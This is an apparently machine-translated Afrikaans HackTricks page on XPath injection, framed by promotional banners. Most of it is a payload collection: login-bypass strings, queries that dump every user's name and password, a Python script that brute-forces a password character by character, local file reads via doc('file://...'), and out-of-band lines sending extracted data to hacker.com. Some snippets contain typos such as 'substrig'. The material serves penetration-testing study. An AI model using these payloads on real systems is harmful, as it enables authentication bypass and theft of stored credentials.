# XPATH injection {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters! **Hacking Insigte**\ Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek **Regte Tyd Hack Nuus**\ Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte **Laaste Aankondigings**\ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings **Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers! ## Basic Syntax 'n Aanvalstegniek bekend as XPath Injection word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm gebaseer op gebruikersinvoer om XML-dokumente te navraag of te navigeer. ### Nodes Described Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat: * **nodename**: Alle nodes met die naam "nodename" word gekies. * **/**: Keuse word gemaak vanaf die wortel node. * **//**: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul ligging in die dokument. * **.**: Die huidige node word gekies. * **..**: Die ouer van die huidige node word gekies. * **@**: Attribuut word gekies. ### XPath Examples Voorbeelde van paduitdrukkings en hul resultate sluit in: * **bookstore**: Alle nodes met die naam "bookstore" word gekies. * **/bookstore**: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element verteenwoordig word deur 'n pad wat met 'n skuinsstreep (/) begin. * **bookstore/book**: Alle boek elemente wat kinders van bookstore is, word gekies. * **//book**: Alle boek elemente in die dokument word gekies, ongeag hul ligging. * **bookstore//book**: Alle boek elemente wat afstammelinge van die bookstore element is, word gekies, maak nie saak hul posisie onder die bookstore element nie. * **//@lang**: Alle attribuut met die naam lang word gekies. ### Utilization of Predicates Predikate word gebruik om keuses te verfyn: * **/bookstore/book\[1]**: Die eerste boek element kind van die bookstore element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as \[0] indekseer, is om die SelectionLanguage na XPath deur JavaScript in te stel. * **/bookstore/book\[last()]**: Die laaste boek element kind van die bookstore element word gekies. * **/bookstore/book\[last()-1]**: Die voorlaaste boek element kind van die bookstore element word gekies. * **/bookstore/book\[position()<3]**: Die eerste twee boek elemente kinders van die bookstore element word gekies. * **//title\[@lang]**: Alle titel elemente met 'n lang attribuut word gekies. * **//title\[@lang='en']**: Alle titel elemente met 'n "lang" attribuut waarde van "en" word gekies. * **/bookstore/book\[price>35.00]**: Alle boek elemente van die bookstore met 'n prys groter as 35.00 word gekies. * **/bookstore/book\[price>35.00]/title**: Alle titel elemente van die boek elemente van die bookstore met 'n prys groter as 35.00 word gekies. ### Handling of Unknown Nodes Wildcard karakters word gebruik om onbekende nodes te pas: * **\***: Pas enige element node. * **@**\*: Pas enige attribuut node. * **node()**: Pas enige node van enige soort. Verder voorbeelde sluit in: * **/bookstore/\***: Kies alle die kind element nodes van die bookstore element. * **//\***: Kies alle elemente in die dokument. * **//title\[@\*]**: Kies alle titel elemente met ten minste een attribuut van enige soort. ## Example ```xml pepe peponcio admin mark m12345 regular fino fino2 regular ``` ### Toegang tot die inligting ``` All names - [pepe, mark, fino] name //name //name/node() //name/child::node() user/name user//name /user/name //user/name All values - [pepe, peponcio, admin, mark, ...] //user/node() //user/child::node() Positions //user[position()=1]/name #pepe //user[last()-1]/name #mark //user[position()=1]/child::node()[position()=2] #peponcio (password) Functions count(//user/node()) #3*3 = 9 (count all values) string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" ``` ### Identifiseer & steel die skema ```python and count(/*) = 1 #root and count(/*[1]/*) = 2 #count(root) = 2 (a,c) and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 #The previous solutions are the representation of a schema like the following #(at this stage we don't know the name of the tags, but jus the schema) and name(/*[1]) = "root" #Confirm the name of the first tag is "root" and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a" and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/) #Stealing the schema via OOB doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) ``` ## Outentiekeer Omseiling ### **Voorbeeld van navrae:** ``` string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; ``` ### **OF omseiling in gebruiker en wagwoord (dieselfde waarde in albei)** ``` ' or '1'='1 " or "1"="1 ' or ''=' " or ""=" string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) Select account Select the account using the username and use one of the previous values in the password field ``` ### **Misbruik van null-inspuiting** ``` Username: ' or 1]%00 ``` ### **Dubbele OF in gebruikersnaam of in wagwoord** (is geldig met slegs 1 kwesbare veld) BELANGRIJK: Let daarop dat die **"en" die eerste operasie is wat gedoen word**. ``` Bypass with first match (This requests are also valid without spaces) ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) Select account 'or string-length(name(.))<10 or' #Select account with length(name)<10 'or contains(name,'adm') or' #Select first account having "adm" in the name 'or contains(.,'adm') or' #Select first account having "adm" in the current value 'or position()=2 or' #Select 2º account string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) Select account (name known) admin' or ' admin' or '1'='2 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) ``` ## String extraction Die uitvoer bevat stringe en die gebruiker kan die waardes manipuleer om te soek: ``` /user/username[contains(., '+VALUE+')] ``` ``` ') or 1=1 or (' #Get all names ') or 1=1] | //user/password[('')=(' #Get all names and passwords ') or 2=1] | //user/node()[('')=(' #Get all values ')] | //./node()[('')=(' #Get all values ')] | //node()[('')=(' #Get all values ') or 1=1] | //user/password[('')=(' #Get all names and passwords ')] | //password%00 #All names and passwords (abusing null injection) ')]/../*[3][text()!=(' #All the passwords ')] | //user/*[1] | a[(' #The ID of all users ')] | //user/*[2] | a[(' #The name of all users ')] | //user/*[3] | a[(' #The password of all users ')] | //user/*[4] | a[(' #The account of all users ``` ## Blind Explotation ### **Kry die lengte van 'n waarde en ekstraheer dit deur vergelykings:** ```bash ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value ``` ### **Python Voorbeeld** ```python import requests, string flag = "" l = 0 alphabet = string.ascii_letters + string.digits + "{}_()" for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break ``` ### Lees lêer ```python (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 ``` ## OOB Exploitatie ```python doc(concat("http://hacker.com/oob/", RESULTS)) doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) #Instead of doc() you can use the function doc-available doc-available(concat("http://hacker.com/oob/", RESULTS)) #the doc available will respond true or false depending if the doc exists, #user not(doc-available(...)) to invert the result if you need to ``` ### Outomatiese hulpmiddel * [xcat](https://xcat.readthedocs.io/) * [xxxpwn](https://github.com/feakk/xxxpwn) * [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart) * [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) * [XmlChor](https://github.com/Harshal35/XMLCHOR) ## Verwysings * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection) * [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\)) * [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer! **Hacking Inligting**\ Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek **Regte Tyd Hack Nuus**\ Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte **Laaste Aankondigings**\ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings **Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers! {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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